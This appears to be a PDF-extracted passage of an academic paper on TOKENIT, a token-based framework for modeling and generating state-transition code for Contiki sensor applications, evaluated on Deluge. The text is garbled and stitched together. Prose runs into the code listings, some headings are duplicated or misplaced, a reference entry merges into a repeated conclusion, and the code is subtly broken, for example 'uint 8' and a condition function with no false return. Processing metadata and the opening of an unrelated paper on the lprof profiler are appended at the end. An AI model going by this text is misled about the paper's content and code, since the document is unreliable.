2) Conditional Transitions: One form of conditional transition appears inside activities as internal conditions, handled locally by the associated activity to decide, e.g., which transition path to choose based on some criteria. The more complicated case occurs when two different transition paths are dependent on each other, while they do not directly share a transition—cross-path conditions. As an example, in the aforementioned case, different paths are dependent on each other, while they do not directly share a transition. In Figure 7, Figure 7, TempReporting can be allowed to send data, but it should first ensure that \(t_2\) is not serving the Listening activity. Based on the token structure in Figure 5, this feature is provided through the currentStatus attribute and the moveToNext behaviour accordingly. On each transition, the runtime system calls the moveToNext function of the token and proceeds along the path if it returns true. Note that the body of this function can be either generated automatically by the model processor from the description of a condition in the model, or provided by the developer for more complicated cases, e.g., moveToNext for \(t_0\) in the aforementioned application is (provided by the programmer):
```java
boolean moveToNext() {
if (tokens[2].currentStatus == LISTENING)
return false;
else return true;
}
```
In general, supporting conditional transitions is rather beneficial when two or more transition paths are competing to access or manipulate a shared resource such as the radio. In addition, the initiation or continuation of a path might depend on the completion of another path, e.g., when a network configuration packet is received by the node, other processes may require the new configuration to be applied and then resuming their execution.
D. Discussion
The token-driven approach of TOKENIT may raise issues with respect to activity scheduling and execution which we investigate and discuss in the following.
Event abstraction by TOKENIT. Even though this concern is primarily addressed by the operating system, we need to clarify how TOKENIT’s abstractions are linked to events. As discussed in Section 3, TOKENIT distinguishes timer events from non-timer events. The latter event type is modeled through origin activities, including both user-defined and system-level events. In many applications of WSNs, timer events play the main role for correlating and ordering between the activities of a process [21], thereby we can mitigate the complexity of defining other event types on inner transitions of the model by introducing them through transitions to origin activities.
Token overriding due to system events. When a transition path is initiated by a system event (e.g., network packet), it is likely that, in the middle of processing a path, a new event arrives and requests for re-initiation of that path and the token. For example, in Deluge we may face this situation when a data packet arrives while the previous one is being processed. Such cases are considered as conditional transitions, in which we need to check the status of the associated token and take the appropriate actions based on the logic of the target application, e.g., terminating the running transition path or discarding the new events. Otherwise, to allow multiple tokens for one path, the programmer has control over how many parallel executions of a path are possible by defining the number of tokens available for each path (in addition to the minimal number of tokens computed by Algorithm 1).
V. IMPLEMENTATION
The implementation of TOKENIT involves two complementary components: 1) the TOKENIT-based modeling of applications and generating the code for activity and transition management, and 2) the runtime system hosting activities and handling the transitions among activities. Prior to discussing the implementation, we clarify the scope of the aforementioned components in the context of this paper.
Modeling and code generation. A TOKENIT model is described in XML along with well-defined semantics for activities, transitions and constraints like delays between transitions. The model processing and code generation component follows the so-called housekeeping code (HOC) generation model [19]. In this model, the programmer must explicitly provide all the application-specific code such as the code of activities. The role of HOC is to glue the various activities and constraints together to ensure proper execution of a TOKENIT model, e.g., creating required tokens and handling transitions and delays. We adopt this approach for the following reasons. First, based on our observations in sensor applications, the state transition decisions are not necessarily made at the end of the execution of an activity, rather it may transit to other activities in the middle of the code based on a condition or input data values. Second, transitions are often parametrized with respect to delay time or activity variables (\(V\)), computed and changed dynamically at runtime.
Runtime system and target platform. The main role of the runtime system is to provide an execution container for activities by invoking them, handling transitions among them, and taking care of constraints such as timing, conditional transitions, etc. All these are achieved with the help of the token management part of the container. Obviously, the implem-
tation of the container is OS-specific, however the modeling concept itself and the token-based technique are generic. Our target for implementing the container is the Contiki OS [20]. The reason for this choice is that the process management system and event handling model of Contiki [1] allow better observation on the behaviour of the container and evaluation of its overhead and efficiency.
Overview of implementation. Figure 8 illustrates the overall scope of the implementation, where, on the left side, the programmer needs to develop only activities and prepare the XML description of the target TOKENIT model. Model Processor will parse the model description and the input source code. Then, it generates HOC, including global code (e.g., token creation) and local code (e.g., specific to an activity). The former is added to the global scope of the input source code, while the latter is added to the body of the respective activity. Next, the programmer needs to review the local code, places it in the appropriate location in the activity code, and makes the small required modifications (e.g., time for delayed transitions) to weave state-related code into the functional code. Finally, the code is ready for deployment on TOKENIT Runtime.
Fig. 8: Overview of TOKENIT-based development
In the rest of this section, we further explore the implementation components. We first revisit Deluge, then we show how the different components of the implementation are exploited to model and implement this use case.
A. Deluge: A Case for TOKENIT
As mentioned, the Deluge protocol operates as a state machine where each sensor node maintains a local state machine to disseminate large data objects to many nodes. We consider Deluge’s design from a different viewpoint: as a set of well-defined and coarse-grained activities that communicate with each other in order to fulfill the main goal of this protocol.
Figure 9 depicts the activities of Deluge, transitions, and delays on the transitions. There are two origins in the model: Deluge-origin initiated by the deluge protocol itself and OS-origin triggered whenever a Deluge data packet is received by the radio system. Within the Maintain activity, the protocol continuously (every \(d_1\) seconds) checks inconsistency among neighbouring nodes and also transmits to the SendProfile and AdvertiseSummary activities after \(d_2\) seconds calculated by the same activity. ActivityDispatch listens to different Deluge commands sent by other nodes and routes the received packet to the appropriate activity. For example, if a profile packet is received, HandleProfile should first allocate and initialize the memory required for storing the object data file, then transit to SendRequest after \(d_3\) ms for receiving the data object’s pages.
It should be noted that the illustrated model for Deluge reflects only the activities and the associated transitions. Other concerns such as conditions on transitions are not shown in the figure. We clarify some of them later in this section when exemplifying the implementation details.
B. From Model to Code
The XML description of TOKENIT is inspired from SCXML specifications [22] and includes the following data elements: activity definitions, transitions along with timing constraints, and conditions. The following figure presents an excerpt of the XML description of the TOKENIT model for Deluge. Maintain is defined as an initial activity, containing three transitions as depicted in Figure 9. The variable tag shows the activity variables that should be carried by the transition to the target activity, e.g., for transitioning from Maintain to SendProfile, delugeObject should be transmitted as well. To identify an activity as an origin activity, the initial attribute of the activity should be set to true like ActivityDispatch. The value of duration for delayed transitions can be either a constant value, a parameter, or an expression, for example \(d_2\) can be replaced with \(\text{rand}\times\text{CLOCK\_SECOND}\), where both variables are already defined in the programmer’s code for Deluge. TOKENIT relies on compile-time type checking to perform matching and error-checking between the variable names as strings in the XML model and the generated C code.
In the next step, these artefacts (the model description document and the input source code) are given to Model Processor implemented as a Java tool. It first analyses the XML description of the given model against design issues such as orphan nodes (never accessible by any origins in the graph), and duplicated transitions. Then, it creates the directed disconnected graph (DDG) of the model using the Depth First Search (DFS) algorithm. The first visited vertex is the activity defined as initial in the main tag of the XML file. The other initial activities (e.g., ActivityDispatch) are also visited later in order to scan all nodes and create the target model’s DDG. The resulting graph serves as a basis for token management and code generation.
Token generation. The token generation algorithm starts by
scanning DDG, vertex by vertex. For each current vertex, if the number of outgoing edges is greater than the number of incoming edges, we add a new token to the current set of tokens and consider the current vertex as initiator of the generated token. At the end of the token generation phase, the number of tokens to be generated, as well as their initiator activities are determined.
**Code generation.** Model Processor is in charge of generating the state-related code and synthesizing it with the input source code. The scope of the generated code is either global or local. The former is the code added to the global scope of the input code, creating tokens, initializing them, and defining the supplementary functions and entities such as timers for tokens (cf. Figure 11.a) and global variables. The local code is concerned with the activity-specific code such as local activity variables, transitions and the associated activities, appended to the end of activity code block (cf. Figure 11.b). Local variables are added to the local scope of the activity code as static variables (rather than on the stack), enabling tokens to make local variables accessible to the next activity of a path. The key statement, generated as local code, is $transit(tokenId, &refToNextActivity,
...), which handles transitions. The local code is generated using DDG of activities which contains the detailed information about tokens, their initiator activities, and transitions (i.e., edges of DDG). To locate activities and append the corresponding local code. Model Processor parses the input code and finds the definition of activities (defined in the model) within the input source code. To this end, we used the ANTLR parser generator—a popular tool for parsing the standard ANSI C source code [23].
```c
#define tokenSize 7
struct tokens{tokenSize};
uint 8 tokenQueue[tokenSize];
static struct ctimer state_timer0;
static struct ctimer state_timer1;
void initActivities(){
for(i=0; i<tokenSize; ++i) {
tokenQueue[i]=i;
tokens[i].funcPtr=NULL;
tokens[i].delay=0;
tokens[0].myTimer=state_timer0;
...
}
static void HandleProfile(struct deluge_msg_profile *msg){
... //body of HandleProfile activity
/* Tokenit local code */
transit(2, &SendRequest, delayTime, delugeObject);
}
SendRequest \rightarrow token id. For example, in the SendRequest activity of Deluge, the id of the current token is required in order to be able to repeat the execution of this activity. This is achieved by the following code (generated and appended to the body of SendRequest) referring to the context service of the runtime system:
curTokenId = getCurContext()->tokenId;
*tokens[curTokenId].repeatToken(curTokenId);
```
**Fig. 11:** An excerpt of (a) global and (b) local code generated for Deluge.
**Code modification and completion.** Having the code generated, the programmer should review the housekeeping code and ensure that everything is in place in accordance with the model description. Importantly, conditional transitions should be completed by the programmer. For this case, we highlight a concrete example from the Deluge protocol. Part of the logic in data dissemination is that whenever the system is performing any of the following transitions, it should ensure that the other transitions in this set are not in progress.
```
HandleProfile $\rightarrow$ SendRequest, tokenId = 2
HandleSummary $\rightarrow$ SendRequest, tokenId = 4
HandlePacket $\rightarrow$ SendRequest, tokenId = 4
SendRequest $\rightarrow$ SendRequest, tokenId = 2V3V4
```
To this end, the programmer needs to develop a common moveToNext behaviour for all of them which evaluates the status of tokens associated to them:
```c
boolean canMoveToken234(){
if((tokens[2].state!=TOKEN_WAITING_PROCESS) &&
(tokens[3].state!=TOKEN_WAITING_PROCESS) &&
(tokens[4].state!=TOKEN_WAITING_PROCESS))
return true;
}
```
In this way, when any of these transitions is scheduled for execution, moveToNext234 should be evaluated first.
**C. Runtime System**
The main component of the runtime system is the transition scheduler which handles both immediate and delayed transitions. According to the design choice presented in Section IV-C, the scheduler maintains two separate waiting queues in IAS and DAS modules. The main scheduler function is implemented as a Contiki procthread, which is periodically polled by the Contiki runtime system in order to invoke the activities in the waiting queues. Whereas the runtime system possesses its own queuing system for IAS, the Contiki’s timer libraries (i.e., ctimer module for invoking scheduled tasks) are utilized for implementing DAS.
Token management is the other component of the runtime system. As indicated in the sample code of Figure 11.a, the memory allocation model to tokens is static and all required tokens are already available in the memory before initialization. Once Contiki boots, this component initializes the tokens with default attribute values and behaviour functions. During the application execution, its main responsibility is to deal with the behaviour aspects of tokens such as starting and stopping, as well as to evaluate conditional transitions. Concerning the latter, the runtime system, on each transition, invokes the moveToNext function of the current token and proceeds based on the invocation result.
```
return true;
}
```
Additionally, it is worthwhile to highlight the other aspect of the runtime system that introduces context for a running activity. During the execution of the activity, it is very likely that, e.g., the id or status of its current token is needed. Such information about tokens (i.e., available during the execution of an activity) is referred to as context. The runtime system provides this through getCurContext(), which returns a struct containing the relevant context elements such as current token id. For example, in the SendRequest activity of Deluge, the id of the current token is required in order to be able to repeat the execution of this activity. This is achieved by the following code (generated and appended to the body of SendRequest) referring to the context service of the runtime system:
```
curTokenId = getCurContext()->tokenId;
*tokens[curTokenId].repeatToken(curTokenId);
```
**D. Discussion**
As discussed earlier in this section, the generated HOC might need additional modifications by the programmer for, e.g., fixing variable time values on transitions. This seems to be contrary to the code generation principle of Model-Driven Development (MDD) approaches in which the generated code is generally not altered.
Indeed, the aim of MDD is to have a compiler generating the implementation code automatically and fully from a model description. However, in resource-limited platforms, it would not be easy to generate all required code automatically from the model because of the tight and ad-hoc couplings between different functions of the system, making developers reluctant to adopt MDD approaches. In TOKENIT, we adopt an intermediate solution, i.e., a modeling and programming framework which adds a negligible resource overhead and allows the developer to modify the code and provide complementary information for the specific parts of the application that TOKENIT does not handle. In particular, the main required modifications are concerned with parametric and varying state constraints, which are not known at design time. As part of our future work, we aim to address this issue and investigate how to minimize the input required from the developer.
VI. EVALUATION
As a development solution for resource-constrained systems, the main evaluation concern is to ensure that the overhead of the programming constructs and the TOKENIT runtime system is acceptable in terms of resource usage. The other goal is to investigate the reduced programming effort, as well as the potential features of TOKENIT with respect to the meta-information it provides on tokens and transition paths, such as lifetime of a path. This can be useful when evaluating end-to-end performance of different activities of an application.
As mentioned before, we adopt Contiki as our OS platform to assess the TOKENIT model. Contiki is being increasingly used in both academia and industrial applications [24] in a wide range of embedded systems. Our hardware platform is the TelosB mote equipped with a 16-bit TI MSP430 MCU with 48KB ROM and 10KB RAM. Moreover, to further evaluate the above performance metrics, we focus on the TOKENIT-based implementation of the Deluge middleware and compare its performance with the Contiki-based implementation.
A. Memory Footprint
High memory overhead is often the major reason behind avoiding new programming abstractions in resource-limited systems. TOKENIT’s design gives a particular attention to this issue. The model processing component of TOKENIT avoids dynamic memory allocation by knowing the memory requirements (e.g., number of tokens) at design time. Moreover, designing a lightweight queueing system for non-delayed transitions and leveraging the operating system’s facilities for delayed transitions can largely reduce the memory overhead.
The memory footprint of TOKENIT is categorized into minimum overhead and dynamic overhead. The former is paid once and for all, regardless of the amount of memory needed for the target application, while the latter depends on the number of transition paths and activities. Table I shows the minimum memory requirements of TOKENIT, which turns out to be reasonable with respect to both code and data memory. As Contiki consumes roughly 24 Kbytes (without uIP support) of both these memories, TOKENIT induces a low memory overhead.
<table>
<thead>
<tr>
<th>Module</th>
<th>Code Memory (bytes)</th>
<th>Data Memory (bytes)</th>
</tr>
</thead>
<tbody>
<tr>
<td>Model Initialization</td>
<td>82</td>
<td>2</td>
</tr>
<tr>
<td>Transition Manager</td>
<td>278</td>
<td>0</td>
</tr>
<tr>
<td>Generic Behaviours</td>
<td>98</td>
<td>0</td>
</tr>
<tr>
<td>Total</td>
<td>458</td>
<td>2</td>
</tr>
</tbody>
</table>
The dynamic memory overhead is presented in Table II. Each individual transition path requires a new token which occupies 24 bytes of data memory space, besides additional byte for maintaining the activity scheduling queue (cf. Section IV-C). We believe that this overhead is acceptable since the total number of transition paths is limited for a typical application. For instance, Deluge as a medium size application (3.5 KB) includes six transition paths, thereby it needs six tokens. In a larger system, if ten tokens are generated on average the additional required data memory will be only 250 bytes (10×25 bytes), resulting in 2.4% data memory overhead on the TelosB mote. The other dynamic overhead is concerned with application-specific behaviour code, which depends on the complexity of a given behaviour. For example, in Deluge, the implementation of the conditional behaviour canMoveToken234() requires 26 bytes of ROM. Finally, it should be noted that the transition-related invocations (both delayed and non-delayed ones) do not impose additional memory overhead since they are replaced with the normal function calls which take the same size of memory space. For example, a delayed transition call consumes 22 to 24 bytes of code memory, which is equal to calling the ctimer_set function of Contiki.
We have also measured the overall memory overhead of the TOKENIT-based implementation of Deluge, shown in Table III. The first row summarizes the memory footprint of Deluge when implemented based on Contiki’s programming model. The second row shows the cost of TOKENIT-based implementation of Deluge, where we add the minimum 460 bytes memory overhead of the TOKENIT runtime as part of the underlying operating system. Deluge, in this case, needs additional 416 bytes (3920-3504) of memory, resulting in 11% additional overhead which we believe is acceptable. The large portion of this overhead is due to creating tokens and associated timer modules.
<table>
<thead>
<tr>
<th>Implementation Method</th>
<th>Code Memory (bytes)</th>
<th>Data Memory (bytes)</th>
</tr>
</thead>
<tbody>
<tr>
<td>Contiki-based</td>
<td>26984</td>
<td>3504</td>
</tr>
<tr>
<td>TOKENIT-based</td>
<td>30488</td>
<td>3920</td>
</tr>
</tbody>
</table>
<table>
<thead>
<tr>
<th>Transition Processing (cycles)</th>
<th>Non-delayed Call (cycles)</th>
<th>Delayed Call (cycles)</th>
</tr>
</thead>
<tbody>
<tr>
<td>80</td>
<td>65</td>
<td>63</td>
</tr>
</tbody>
</table>
To further investigate the processing overhead on invocations, we return to the Deluge middleware and study the total propagation time for different object sizes when it is implemented based on the TOKENIT model. Figure 12 shows the results we obtained in comparison with the event-driven model of the implementation on Contiki. The size of data object files, in our experiment, is chosen based on experiments in [16], ranging between 128 bytes to 2048 bytes. Overall, the graph shows that TOKENIT does not impose any additional processing overhead and interestingly it outperforms the Contiki-based version for some object files. In particular, receiving a 512 bytes data file takes 24.12 seconds, while, in the original implementation, this data file is received and processed by the receiver node in 27.47 seconds. This result is probably caused by the token processing data file advertisement messages. In particular, when this token is processing a message, it discards other incoming advertisement messages upon arrival, while in the Contiki-based implementation this occurs a bit later by checking the associated timer.
B. Programming Effort
There are two potential points of processing overhead that should be investigated: the scheduling mechanism of the runtime system, and the additional cost for the invocation of activities on transitions. The former is basically dominated by the queue handling the non-delayed activities (delayed activities rely on operating system’s scheduling module). The latter is dynamic and determined based on the number of activity calls that occurred during the lifetime of the target application. Table IV reports the fine-grained processing cost of these operations in terms of CPU cycles. For instance, invocation of a delayed activity requires additional 63 cycles, while token-based processing of a transition and invoking the next activity consume 80 cycles. Considering the processing speed of typical low-power microcontrollers, we believe that these costs are acceptable and do not lead to significant prolongation of application execution time.
<table>
<thead>
<tr>
<th>Module</th>
<th>Code Memory (bytes)</th>
<th>Data Memory (bytes)</th>
</tr>
</thead>
<tbody>
<tr>
<td>New Token</td>
<td>82</td>
<td>2</td>
</tr>
<tr>
<td>Application-specific Behaviour</td>
<td>variable</td>
<td>0</td>
</tr>
</tbody>
</table>
C. Programming Effort
As discussed, TOKENIT comes with a modeling solution to help the programmer reduce the programming effort required to develop state-driven scenarios. This not only refers to
measuring the lines of code (LOC) and code complexity, but includes the qualitative evaluation of user’s experience in TOKENIT-based development. However, the latter typically needs extensive user study and empirical methods for assessment. In this paper, we therefore focus on two metrics for evaluating the programming effort: LOC and the complexity of programming based on McCabe’s cyclomatic complexity method [15]. We report the evaluation results for TOKENIT-based implementation of three different applications.
The applications are chosen based on various complexity aspects of state transition models such as the number of parallel transition paths (i.e., the number of tokens) and the number of activities involved in each transition path (i.e., from short to long paths). In addition to Deluge with an average level of complexity, we select EnviroTrack [11] as an application with several parallel and short transition paths. EnviroTrack is a framework that supports tracking of mobile targets with a WSN. A sensor node, in this framework, can be in seven states. The major states include: free, follower, member, and leader. Base on the type of data message received by a sensor node from its neighbors (e.g., join, leave, recruit, etc.), the node will take some pre-defined actions and may transit to another state. For example, if a node is free, it will become a follower if it receives a recruit message. Considering each individual state as a token, TOKENIT will generate seven tokens with one activity for each to select the right actions and the next state.
In addition to these, we developed an exemplary Multi-Purpose Service framework (MPS) which contains five tokens and 12 activities to constantly process five parallel transition paths for reading sensor data (i.e. reading temperature and humidity), propagating heartbeat messages, and listening and processing network data. We chose and designed this service in order to find the highest efficiency achieved with respect to programming effort, while the first two use cases show our observations in real scenarios with different degrees of complexity.
Table V shows the results we obtained using TOKENIT to generate and develop state handling code for the above use cases. In the Deluge case, the programmer is required to develop the code for conditional transitions and initialization of tokens, while the rest will be generated by TOKENIT. This leads to a modest reduction in programming effort compared to the LOC of full Deluge (470 lines). In use cases such as Deluge, the main programming benefit is in simplifying the design, monitoring and verification of parallel states (cf. next subsection). In contrast, 28% (328/95) of EnviroTrack code is allocated to state management, and we observe a noticeable reduction in LOC for this application. Finally, TOKENIT yields a significantly reduced effort for MPS with long transition paths and the large number of LOC for state handling.
Finally, we focus on measuring the complexity of developing the above use cases with TOKENIT’s approach. To this end, we use the Mc McCabe’s cyclomatic complexity method [15] for measuring quantitatively the complexity. This technique measures all the linearly independent paths of a program’s source code and the number of branches in the execution flow by creating a control flow graph. The Cyclomatic Complexity Number (CCN) value typically ranges from 1 to 10 indicating low and high complexity, respectively. Table VI shows the result of analyzing the reference use cases in terms of CCN. As illustrated, TOKENIT reduces efficiently the development complexity in all of them, with a better result for EnviroTrack as it includes several state changes and transitions.
TABLE VI: Cyclomatic complexity comparison for reference use cases.
<table>
<thead>
<tr>
<th>Application</th>
<th>Original CCN</th>
<th>TOKENIT’s CCN</th>
<th>Reduced CCN</th>
</tr>
</thead>
<tbody>
<tr>
<td>Deluge</td>
<td>4.48</td>
<td>3.23</td>
<td>0.75</td>
</tr>
<tr>
<td>EnviroTrack</td>
<td>2.32</td>
<td>1.45</td>
<td>0.87</td>
</tr>
<tr>
<td>MPS</td>
<td>1.72</td>
<td>1.45</td>
<td>0.27</td>
</tr>
</tbody>
</table>
D. TOKENIT-based Service Instrumentation
The way we adopted to design TOKENIT and the one-to-one association between generated tokens and transition paths allow us to monitor and verify the paths. This can be achieved by instrumenting tokens with attributes that are relevant to monitoring or verification of the target service. Then, the TOKENIT runtime system will be able to provide real-time information about those attributes. To highlight this aspect of TOKENIT, we focus on the part of Deluge’s model in the receiver node that listens to network messages and proceeds towards one of the following transition paths: Handle Profile, Handle Summary, and Handle Packet. The goal is to instrument Deluge’s tokens with token creation and termination timestamps in order to find out if the processing time of each token is in accordance with the rules described in the protocol.
Figure 13 shows the results of monitoring the selected tokens for different data file sizes, e.g., the lifetime of Handle Profile is 41% of total time required to receive all pages of a 512 bytes data file. As the file size becomes larger, this token’s lifetime is reduced as well to 14%. This occurs because this token is activated only once for receiving an updated data profile from the sender and performing Send Request within the same round. Thus, for larger files, the lifetime of this token will be reduced accordingly. Our observations on further two tokens also confirm the rule defined for the maximum number of requests (λ parameter in rule R.2 of Deluge) sent from the receiver in each round. Specifically, both tokens 3 and 4 contribute sequentially in triggering the Send Request activity. Given that λ = 2 and each data page is 256 bytes, for receiving a 1024 bytes file, tokens 2 and 4 will call Send Request once, while token 3 will perform this twice.
VII. RELATED WORK
From the modeling viewpoint, TOKENIT adopts concepts from state machine formalisms that are relevant for modeling resource-limited platforms, e.g., delayed transitions, parallelism and conjunctive transitions. In TOKENIT, these concepts are further extended with notions such as repetition and variable sharing between activities and conditions to meet all modeling requirements of such platforms. Beyond that, TOKENIT is specially focused on how to map a state machine, empowered by the above semantics, to efficient design choices and programming abstractions for embedded systems.
OSM [10] is perhaps the most relevant work both for modeling and development of state-oriented embedded systems. Kasten et al. introduced OSM to allow developers to describe their applications as OSM code, which is, at a later stage, compiled into native code through the OSM compiler. OSM is implemented on top of Esterel [13]—a synchronous language for the specification of reactive systems. The basic idea behind OSM is to extend the event paradigm with states and transitions, making actions a function of both the event and the program state. OSM borrows the concepts of hierarchical and parallel composition, and concurrent events from StateCharts and SyncCharts, respectively. It also introduces state attributes to share information among actions. State machines with Datapath (FSMD) [25] had earlier introduced similar attributes, reducing the number of states that should be declared explicitly, but attributes have global scopes (similar to TOKENIT). In OSM state attributes are local and bound to a state hierarchy.
Besides similarities between TOKENIT and OSM, TOKENIT proposes a more flexible modeling solution which allows sharing different types of variables among parallel activity flows, in-activity state transition and condition definition. The main differences of TOKENIT and OSM lie in the development and code generation mechanism, where OSM proposes a completely new programming model. TOKENIT is aimed at introducing minimal additional abstractions as we have witnessed several cases in which the programmer needs more flexibility in manipulating states and conditions. It should also be noted that OSM’s language introduces the same order of programming effort as TOKENIT does. For instance in the EnviroTrack application, the total LOC of OSM is 56 which is close to the 54 LOC of TOKENIT for this application (Table V).
Further work has been done to apply state machine formalisms to model sensor systems. In [26] and [27], techniques are proposed to optimize programming and formulate interaction between TinyOS components respectively, using StateCharts [12]. However, state diagrams in these approaches model the different states of a single object in the system and do not address timing constraints.
A number of frameworks have been proposed to apply standard software modeling techniques to describe the logic of WSN applications. Some initiatives have been taken to employ behavioural UML diagrams, such as Activity diagram and UML StateCharts, for visualizing and implementing the software as a set of activities. In [28], UML Activity Diagrams are extended to introduce control structures in the execution flow of software deployed on sensor nodes. Glombitza et al. in [29] propose using state machines to orchestrate Web services and control flows on sensor nodes. However, the bridge between models and the detailed behavioural and state-based aspects of application logic still remains unsolved in the above approaches.
VIII. CONCLUSIONS AND FUTURE WORK
In this paper, we have demonstrated TOKENIT, a novel modeling and programming approach for reducing the complexity of developing resource-limited embedded applications that are naturally state-driven. The key design element of TOKENIT is the notion of tokens, separating the state-related concerns from the actual application activities, synthesizing activities, and executing activity flows according to the constraints in the target TOKENIT model. This approach efficiently exploits existing event-driven programming models and reduces the complexity and programming effort for implementing the state handling code. We have shown the feasibility and performance of TOKENIT for a number of use cases, in particular for Deluge—a protocol for reliable propagation of large data files over a multi-hop wireless network. Further consideration to TOKENIT-based verification of embedded systems is part of our future plan. In addition, we aim to apply this approach in other embedded platforms such as cyber-physical systems which include safety-critical control flows and complicated state transitions.
REFERENCES
[21] E. Yoneki and J. Bacon, “Unified semantics for event correlation over a multi-hop wireless network. Further consideration to TOKENIT-based verification of embedded systems is part of our future plan. In addition, we aim to apply this approach in other embedded platforms such as cyber-physical systems which include safety-critical control flows and complicated state transitions.
|
{"Source-Url": "http://folk.uio.no/amirhost/papers/tokenit.pdf", "len_cl100k_base": 13615, "olmocr-version": "0.1.49", "pdf-total-pages": 10, "total-fallback-pages": 0, "total-input-tokens": 37421, "total-output-tokens": 15083, "length": "2e13", "weborganizer": {"__label__adult": 0.00048232078552246094, "__label__art_design": 0.0004792213439941406, "__label__crime_law": 0.0004520416259765625, "__label__education_jobs": 0.0004749298095703125, "__label__entertainment": 8.159875869750977e-05, "__label__fashion_beauty": 0.00022602081298828125, "__label__finance_business": 0.0003421306610107422, "__label__food_dining": 0.00046706199645996094, "__label__games": 0.0009074211120605468, "__label__hardware": 0.005237579345703125, "__label__health": 0.0006628036499023438, "__label__history": 0.0003709793090820313, "__label__home_hobbies": 0.0001634359359741211, "__label__industrial": 0.0009813308715820312, "__label__literature": 0.00021898746490478516, "__label__politics": 0.0004029273986816406, "__label__religion": 0.0006804466247558594, "__label__science_tech": 0.07562255859375, "__label__social_life": 7.200241088867188e-05, "__label__software": 0.00569915771484375, "__label__software_dev": 0.90380859375, "__label__sports_fitness": 0.0004649162292480469, "__label__transportation": 0.0014467239379882812, "__label__travel": 0.0002872943878173828}, "weborganizer_max": "__label__software_dev", "avg_fraction_numbers_in_line_v1__avg_fraction_numbers_in_line_v1__avg_fraction_numbers_in_line_ratio": [[0, 69102, 0.01784]], "fineweb_edu_fasttext_gt2__fineweb_edu_fasttext_gt2__score": [[0, 69102, 0.5551]], "ft_lang_id_en_doc_v2__ft_lang_id_en_doc_v2__en": [[0, 69102, 0.90562]], "google_gemma-3-12b-it_contains_pii": [[0, 7311, false], [7311, 14284, null], [14284, 22246, null], [22246, 27650, null], [27650, 35082, null], [35082, 40177, null], [40177, 47770, null], [47770, 55429, null], [55429, 61399, null], [61399, 69102, null]], "google_gemma-3-12b-it_is_public_document": [[0, 7311, true], [7311, 14284, null], [14284, 22246, null], [22246, 27650, null], [27650, 35082, null], [35082, 40177, null], [40177, 47770, null], [47770, 55429, null], [55429, 61399, null], [61399, 69102, null]], "google_gemma-3-4b-it_v2tag__is_academic_paper": [[0, 5000, true], [5000, 69102, null]], "google_gemma-3-4b-it_v2tag__is_class_syllabus": [[0, 5000, false], [5000, 69102, null]], "google_gemma-3-4b-it_v2tag__is_completion_certificate": [[0, 5000, false], [5000, 69102, null]], "google_gemma-3-4b-it_v2tag__is_court_notice": [[0, 5000, false], [5000, 69102, null]], "google_gemma-3-4b-it_v2tag__is_homework_assignment": [[0, 5000, false], [5000, 69102, null]], "google_gemma-3-4b-it_v2tag__is_news_article": [[0, 5000, false], [5000, 69102, null]], "google_gemma-3-4b-it_v2tag__is_public_order": [[0, 5000, false], [5000, 69102, null]], "google_gemma-3-4b-it_v2tag__is_resume_cv": [[0, 5000, false], [5000, 69102, null]], "google_gemma-3-4b-it_v2tag__is_test_or_quiz": [[0, 5000, false], [5000, 69102, null]], "google_gemma-3-4b-it_v2tag__is_textbook": [[0, 5000, false], [5000, 69102, null]], "pdf_page_numbers": [[0, 7311, 1], [7311, 14284, 2], [14284, 22246, 3], [22246, 27650, 4], [27650, 35082, 5], [35082, 40177, 6], [40177, 47770, 7], [47770, 55429, 8], [55429, 61399, 9], [61399, 69102, 10]], "pipe_delimited_lines_v1__pipe_delimited_lines_v1__pipe_delimited_lines_ratio": [[0, 69102, 0.09442]]}
|
olmocr_science_pdfs
|
2024-11-24
|
2024-11-24
|
6470c9cb0df146cc2ac9a997eca8f3615df78222
|
lprof: A Non-intrusive Request Flow Profiler for Distributed Systems
Xu Zhao, Yongle Zhang, David Lion, Muhammad Faizan Ullah, Yu Luo, Ding Yuan, and Michael Stumm, University of Toronto
https://www.usenix.org/conference/osdi14/technical-sessions/presentation/zhao
This paper is included in the Proceedings of the 11th USENIX Symposium on Operating Systems Design and Implementation.
October 6–8, 2014 • Broomfield, CO
978-1-931971-16-4
Open access to the Proceedings of the 11th USENIX Symposium on Operating Systems Design and Implementation is sponsored by USENIX.
Iprof: A Non-intrusive Request Flow Profiler for Distributed Systems
Xu Zhao*, Yongle Zhang*, David Lion, Muhammad FaizanUllah, Yu Luo, Ding Yuan, Michael Stumm
University of Toronto
Abstract
Applications implementing cloud services, such as HDFS, Hadoop YARN, Cassandra, and HBase, are mostly built as distributed systems designed to scale. In order to analyze and debug the performance of these systems effectively and efficiently, it is essential to understand the performance behavior of service requests, both in aggregate and individually.
Iprof is a profiling tool that automatically reconstructs the execution flow of each request in a distributed application. In contrast to existing approaches that require instrumentation, Iprof infers the request-flow entirely from runtime logs and thus does not require any modifications to source code. Iprof first statically analyzes an application’s binary code to infer how logs can be parsed so that the dispersed and intertwined log entries can be stitched together and associated to specific individual requests.
We validate Iprof using the four widely used distributed services mentioned above. Our evaluation shows Iprof’s precision in request extraction is 88%, and Iprof is helpful in diagnosing 65% of the sampled real-world performance anomalies.
1 Introduction
Tools that analyze the performance behaviors of distributed systems are particularly useful; for example, they can be used to make more efficient use of hardware resources or to enhance the user experience. Optimizing performance can notably reduce data center costs for large organizations, and it has been shown that user response times have significant business impact [2].
In this paper, we present the design and implementation of Iprof, a novel non-intrusive profiling tool aimed at analyzing and debugging the performance of distributed systems. Iprof is novel in that (i) it does not require instrumentation or modifications to source code, but instead extracts information from the logs output during the course of normal system operation, and (ii) it is capable of automatically identifying, from the logs, each request and profile its performance behavior. Specifically, Iprof is capable of reconstructing how each service request is processed as it invokes methods, uses helper threads, and invokes remote services on other nodes. We demonstrate that Iprof is easy and practical to use, and that it is capable of diagnosing performance issues that existing solutions are not able to diagnose without instrumentation.
Iprof outputs a database table with one line per request. Each entry includes (i) the type of the request, (ii) the starting and ending timestamps of the request, (iii) a list of nodes the request traversed along with the starting and ending timestamps at each node, and (iv) a list of the major methods that were called while processing the request. This table can be used to analyze the system’s performance behavior; for example, it can be SQL-queried to generate gprof-like output [16], to graphically display latency trends over time for each type of service request, to graphically display average/high/low latencies per node, or to mine the data for anomalies. Section 2 provides a detailed example of how Iprof might be used in practice.
